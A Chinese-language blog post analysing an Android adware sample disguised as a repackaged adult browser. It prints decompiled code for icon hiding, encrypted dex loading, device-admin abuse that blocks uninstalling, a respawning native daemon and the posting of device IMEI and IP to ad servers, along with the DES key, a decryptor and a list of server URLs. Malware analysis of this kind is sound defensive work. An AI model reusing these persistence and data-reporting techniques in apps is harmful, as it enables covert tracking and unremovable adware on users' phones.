DZSM apk 样本分析

概况

  • MD5: 14792786094250715197540fd3b58439
  • SHA256: 456caeaaa8346c7a9e2198af5a0ca49d87e616a2603884580df22728a49893d7
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 1208868505 (0x480dde99)
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=CN, ST=sc, L=sc, O=maizi, OU=maizi, CN=pktool
        Validity
            Not Before: Sep  9 09:11:13 2015 GMT
            Not After : Jan 25 09:11:13 2043 GMT
        Subject: C=CN, ST=sc, L=sc, O=maizi, OU=maizi, CN=pktool
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:93:57:2d:52:af:c1:71:cf:7a:cb:2f:6a:6c:0a:
                    b2:3f:4b:60:a6:a7:d0:9d:ba:36:a1:0f:0d:cc:9e:
                    32:ea:23:df:80:a3:b3:9f:2b:93:b9:53:c4:e5:bf:
                    05:32:21:23:c1:13:78:b0:72:08:19:8e:5e:c0:a0:
                    13:11:19:d6:23:8a:b6:44:2b:73:e0:1d:f3:b3:f4:
                    ab:6c:2e:af:78:2f:8b:e2:dc:b0:d6:06:af:8e:3f:
                    29:54:1a:59:44:55:73:98:2f:fd:8b:18:b0:de:c6:
                    9c:ee:0c:c7:f7:04:9d:0c:a7:62:06:45:4f:08:20:
                    2e:ca:a9:20:88:0e:08:2b:f1:9c:a9:24:5d:35:85:
                    02:bb:c0:ff:37:98:4b:c7:6f:f2:75:81:43:78:f8:
                    4b:cc:63:8c:f5:0e:c9:95:05:3d:ee:a1:85:cd:94:
                    97:b8:48:93:02:b3:71:6e:fb:39:6f:63:5d:a7:24:
                    c1:dc:77:a9:9c:de:5d:76:63:a8:ad:1d:e9:d6:84:
                    9b:ee:8d:37:38:4b:7c:ff:94:c9:df:dd:17:80:8c:
                    e8:d1:94:5d:05:dc:ef:d8:dc:90:4c:8b:75:22:6d:
                    57:6e:ee:4c:5f:62:96:5c:72:64:a4:5b:0f:29:e0:
                    f3:31:11:99:6a:b4:e5:6c:16:4d:8a:44:46:06:8f:
                    06:05
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Key Identifier: 
                A6:8F:86:BB:A7:0A:DB:29:2E:E9:26:A6:F1:8C:BF:2F:4B:58:99:39
    Signature Algorithm: sha256WithRSAEncryption
         82:62:98:a8:39:10:3b:f5:09:42:97:de:e9:4c:57:6c:4e:58:
         a3:1a:31:29:a4:79:98:3f:c9:68:3c:e5:90:be:7f:b0:98:2b:
         8f:95:9e:4e:d2:bc:82:6e:bf:32:56:35:87:c8:19:08:ae:af:
         9c:db:94:71:d4:db:73:d9:25:e2:e5:f1:92:a0:a4:c4:bd:27:
         21:b2:c8:ec:e2:2a:c3:bb:a2:85:97:78:2b:4a:94:cc:fc:dc:
         75:6a:11:c8:ba:da:30:be:11:e9:e7:4a:5e:e1:ae:af:4d:36:
         14:69:31:ab:68:16:69:ed:a8:bb:c7:be:bf:8b:ca:4c:01:d0:
         7e:65:45:31:72:0f:7b:8d:7e:76:40:86:45:8d:ee:a3:b2:ee:
         ac:d3:0e:60:29:b0:fd:dc:8c:6a:25:06:01:99:81:96:f5:4c:
         1d:1a:1d:dc:0e:4b:66:15:80:e8:f5:1c:cd:98:60:71:08:de:
         f9:4f:69:b0:22:ec:05:18:6b:cd:5a:05:ce:3a:fe:57:4b:e7:
         8b:64:b4:f7:4a:cd:63:c1:03:01:e2:b0:aa:81:2d:89:e1:4d:
         da:fb:8f:b9:37:02:ad:85:64:de:87:73:1a:7a:36:50:3f:e6:
         9a:73:65:a0:33:af:81:c6:c8:55:89:e6:a8:03:6a:c6:da:f0:
         a5:cc:1c:6e

样本通过apktool重打包激情浏览器,引诱下载达到感染的目的。样本安装后启动两个服务常驻手机, 通过广告来获得经济收益,安装应用后访问以下链接:

http://dw.cnscns.com/upload/adIcon/2015-10-07/55c01eff-e66a-4186-9658-977d025c5395.png
http://dw.cnscns.com/upload/adOnline/2015-10-07/db90fe85-dd23-4674-9bbc-767c978acb8c.jpg
http://dw.cnscns.com/upload/adIcon/2015-09-06/eccb1bfd-7c3a-44a3-bfc8-e559eb995b49.png
http://dw.cnscns.com/upload/adOnline/2015-09-06/2cd2516c-6f55-4d99-8913-e121fd34abbd.jpg
http://dw.cnscns.com/upload/adIcon/2015-06-18/a7a41435-51e6-4a02-8bb5-1d96edf1a403.png
http://dw.cnscns.com/upload/adOnline/2015-09-19/2e3fe3ec-8043-4a03-ac6d-6b815dc2c144.jpg

http://dw.cnscns.com 是一个移动广告平台。

分析

关键的地方是两个service和一个Receiver

<service android:name="net.tend.dot.DZS" />
<service android:exported="true" android:name="net.tend.dot.DZK" android:process=":daemon" />
<activity android:configChanges="keyboard|keyboardHidden|orientation|screenSize" android:excludeFromRecents="true" android:launchMode="singleInstance" android:name="net.tend.dot.DZA" android:theme="@android:style/Theme.Translucent.NoTitleBar" />
<receiver android:name="net.tend.dot.DZR">
<intent-filter>
    <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
    <action android:name="android.intent.action.USER_PRESENT" />
    <action android:name="com.dz.downloadmanager" />
    <action android:name="action.dz.start" />
</intent-filter>
<intent-filter>
    <action android:name="android.intent.action.PACKAGE_ADDED" />
    <action android:name="android.intent.action.PACKAGE_REMOVED" />
    <data android:scheme="package" />
</intent-filter>
</receiver>

但是这两个Service和Receiver的代码并不在App代码中,而是在动态加载的dex中,其中的对于关系如下:

net.tend.dot.DZS -> mkit.dz.vol.MFSS
net.tend.dot.DZK -> mkit.dz.vol.MFKS
net.tend.dot.DZR -> mkit.dz.vol.MFBR
net.tent.dot.DZA -> mkit.dz.vol.MFAC

而动态加载的dex 由 assets/dzsm 解密而来。样本的文件转换图如下:

convert

assets/dzsm 使用DES加密,文件的前32个字节为key,后面的为加密的内容,可以使用下面的java代码进行 解密。解密出来的文件为dex文件,可以用jeb正常分析。

encrypt

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.CipherOutputStream;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;

public class decrypt {

    public static void main(String[] args) {
        try {
            String key = "8q6e81ssaiem1msqii9ixasmumsxxxqq";

            FileInputStream fis2 = new FileInputStream("/tmp/dzsm");
            FileOutputStream fos2 = new FileOutputStream("decrypted");
            decrypt(key, fis2, fos2);
        } catch (Throwable e) {
            e.printStackTrace();
        }
    }

    public static void encrypt(String key, InputStream is, OutputStream os) throws Throwable {
        encryptOrDecrypt(key, Cipher.ENCRYPT_MODE, is, os);
    }

    public static void decrypt(String key, InputStream is, OutputStream os) throws Throwable {
        encryptOrDecrypt(key, Cipher.DECRYPT_MODE, is, os);
    }

    public static void encryptOrDecrypt(String key, int mode, InputStream is, OutputStream os) throws Throwable {

        DESKeySpec dks = new DESKeySpec(key.getBytes());
        SecretKeyFactory skf = SecretKeyFactory.getInstance("DES");
        SecretKey desKey = skf.generateSecret(dks);
        Cipher cipher = Cipher.getInstance("DES");

        if (mode == Cipher.ENCRYPT_MODE) {
            cipher.init(Cipher.ENCRYPT_MODE, desKey);
            CipherInputStream cis = new CipherInputStream(is, cipher);
            doCopy(cis, os);
        } else if (mode == Cipher.DECRYPT_MODE) {
            cipher.init(Cipher.DECRYPT_MODE, desKey);
            CipherOutputStream cos = new CipherOutputStream(os, cipher);
            doCopy(is, cos);
        }
    }

    public static void doCopy(InputStream is, OutputStream os) throws IOException {
        byte[] bytes = new byte[64];
        int numBytes;
        while ((numBytes = is.read(bytes)) != -1) {
            os.write(bytes, 0, numBytes);
        }
        os.flush();
        os.close();
        is.close();
    }

}

MainActivity是 com.dz.browser.WelActivity

<activity android:icon="@drawable/icon1"
          android:label="@string/main_name"
          android:name="com.dz.browser.WelActivity" android:screenOrientation="portrait">
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.LAUNCHER" />
    </intent-filter>
</activity>

WelActivity 里干几件事:

  1. 隐藏图标
private void setComponentEnabled(Context context, Class arg6, boolean enabled) {
    ComponentName v0 = new ComponentName(context, arg6.getName());
    PackageManager v3 = context.getPackageManager();
    int v1 = enabled ? 1 : 2;
    v3.setComponentEnabledSetting(v0, v1, 1);
}
  1. 动态加载dex
private void GoMain() {
    new Handler().postDelayed(new Runnable() {
        public void run() {
            WelActivity.this.setComponentEnabled(WelActivity.this, WelActivity.class, false);
        }
    }, 5000);
    Intent v0 = new Intent();
    v0.setClass(((Context)this), GuideActivity.class);
    this.startActivity(v0);
}

GuideActivity 的 onCreate 调用 DZM.getInstance(((Context)this)).init(); 加载 dex。 GuideActivity 同时向广告服务器发送本机信息

new Thread(new Runnable() {
    public void run() {
        try {
            Log.i("ads", "==" + HttpUtils.post(String.valueOf(Constant.reportUrl) + Utils.getQID(
                    GuideActivity.this), GuideActivity.this.Params.reqparams()));
        }
        catch(PackageManager$NameNotFoundException v1) {
            v1.printStackTrace();
        }
    }
}).start();

http://mob.s2s.nooobi.com/api-mobvista/sdkback%3Fappkey%3DSexTubeMobvista1

POST /api-mobvista/sdkback?appkey=SexTubeMobvista1 HTTP/1.1
Content-Length: 59
Content-Type: application/x-www-form-urlencoded
Host: mob.s2s.nooobi.com
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

country=CN&ip=220.231.27.156&model=sdk&imei=000000000000000

同时加载dex还有另外一个入口,通过 Receiver

<receiver android:name="net.tend.dot.DZR">
    <intent-filter>
        <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
        <action android:name="android.intent.action.USER_PRESENT" />
        <action android:name="com.dz.downloadmanager" />
        <action android:name="action.dz.start" />
    </intent-filter>
    <intent-filter>
        <action android:name="android.intent.action.PACKAGE_ADDED" />
        <action android:name="android.intent.action.PACKAGE_REMOVED" />
        <data android:scheme="package" />
    </intent-filter>
</receiver>

当网络变化,用户锁屏等操作时将自动加载dex

public class DZR extends BroadcastReceiver {
    public DZR() {
        super();
    }

    private void a(Context context, Intent intent) {
        try {
            a.a(context, i.class).onReceive(context, intent);
        }
        catch(Exception v0) {
            Log.e("ads", "", ((Throwable)v0));
        }
    }

    public void onReceive(Context context, Intent intent) {
        Context context = context.getApplicationContext();
        String action = intent.getAction();
        System.out.println("SV=" + dzm_version.DZM_1_2_5);
        if(action.equals("android.intent.action.USER_PRESENT")) {
            DZM.getInstance(context);
        }

        l.start_thread(context);
        if(l.str_dzmb_kiup_act().equals(action)) {
            l.loadDex(context, intent);
        }
        else {
            this.a(context, intent);
        }
    }
}
<receiver android:name="com.dz.browser.MyReceiver">
<meta-data android:name="android.app.device_admin" android:resource="@xml/lockourscreen" />
<intent-filter>
    <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>

lockourscreen.xml 里申请了锁屏权限

<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
    <uses-policies>
        <force-lock />
    </uses-policies>
</device-admin>

但是Receiver里什么也没有干,这只是为了阻止普通用户卸载app。

lock screen

样本会访问下面URL 获得ip地址信息 http://ip.taobao.com/service/getIpInfo2.php?ip=myip

{
code: 0,
data: {
country: "中国",
country_id: "CN",
area: "华北",
area_id: "100000",
region: "北京市",
region_id: "110000",
city: "北京市",
city_id: "110100",
county: "",
county_id: "-1",
isp: "华瑞信通",
isp_id: "1000146",
ip: "220.231.27.156"
}
}

从分析看样本主要是获取广告,下载apk,安装apk 这几个功能,还可以使用浏览器打开指定URL

daemon 分析

两个服务中,daemon 是 arm elf 可执行文件,app安装后自动执行。daemon程序由 dz.jar 的 assets/oilive 释放出来。 在手机上得到下面的命令行

/data/data/org.dz.passion.browser/app_bin/daemon -p org.dz.passion.browser -s net.tend.dot.DZK -t 120

daemon 使用说明

usage: %s -p package-name -s daemon-service-name -t interval-time

daemon 进程的父进程是init,结束应用进程不会结束daemon进程,将应用进程结束后过120秒,daemon将会重新自动启动 服务程序。

u0_a45    999   36    193564 32452 ffffffff 40033a40 S org.dz.passion.browser:daemon
u0_a45    1016  36    192640 35772 ffffffff 40033a40 S org.dz.passion.browser
u0_a45    1028  1     728    296   c0099f1c 40032c88 S /data/data/org.dz.passion.browser/app_bin/daemon

这个搞法似类以前的双进程监控,不容易干掉,上面说过启动App就启动两个服务 DZS 和 DZK,而DZK的代码其实在MFKS中, 从下面的代码可以看到,MFKS在Service 的 OnCreate 是就把daemon 运行起来了,daemon 又会检查app的服务的状态,有会自动 启动服务,比较流氓啊!这么做目的还是为了常驻手机,长期运行。

public class MFKS {
    private Service service;

    public MFKS() {
        super();
    }

    public IBinder onBind(Intent arg2) {
        return null;
    }

    public void onCreate() {
        run_daemon.install(this.service.getApplicationContext(), config.get_kvp_classObject(this.service  // net.tend.dot.DZK
                .getApplicationContext()), 120);
        this.service.startService(new Intent(this.service.getApplicationContext(), config.get_svp_classObject(  // net.tend.dot.DZS
                this.service.getApplicationContext())));
    }

    public void onStart(Intent arg1, int arg2) {
    }

    public void setService(Service arg1) {
        this.service = arg1;
    }
}

附录

访问的URL

http://ip.taobao.com/service/getIpInfo2.php%3Fip%3Dmyip
http://api.nooobi.com/api-unlock/getlockappconfig
http://api.nooobi.com/api-unlock/insertimei
http://mob.s2s.nooobi.com/api-mobvista/sdkback%3Fappkey%3DSexTubeMobvista1
http://api.nooobi.com/api-unlock/getapptype
http://api.nooobi.com/api-unlock/kitup
http://alog.umeng.com/app_logs
http://api.nooobi.com/api-unlock/getadlist
http://dw.cnscns.com/upload/adIcon/2015-10-07/55c01eff-e66a-4186-9658-977d025c5395.png
http://dw.cnscns.com/upload/adOnline/2015-10-07/db90fe85-dd23-4674-9bbc-767c978acb8c.jpg
http://dw.cnscns.com/upload/adIcon/2015-09-06/eccb1bfd-7c3a-44a3-bfc8-e559eb995b49.png
http://dw.cnscns.com/upload/adOnline/2015-09-06/2cd2516c-6f55-4d99-8913-e121fd34abbd.jpg
http://dw.cnscns.com/upload/adIcon/2015-06-18/a7a41435-51e6-4a02-8bb5-1d96edf1a403.png
http://dw.cnscns.com/upload/adOnline/2015-09-19/2e3fe3ec-8043-4a03-ac6d-6b815dc2c144.jpg
http://api.nooobi.com/api-unlock/unlockaction

总结

DZSM 这个样本使用了动态加载dex的技术,使得其检测更加困难。代码结构良好,异常处理充分, 是一个专业程序员的作品。使用了简单的加密技术,也是为了逃避检查。


DZSM apk 样本分析
https://usmacd.com/cn/malware_DZSM/
作者
henices
发布于
2015年10月21日
许可协议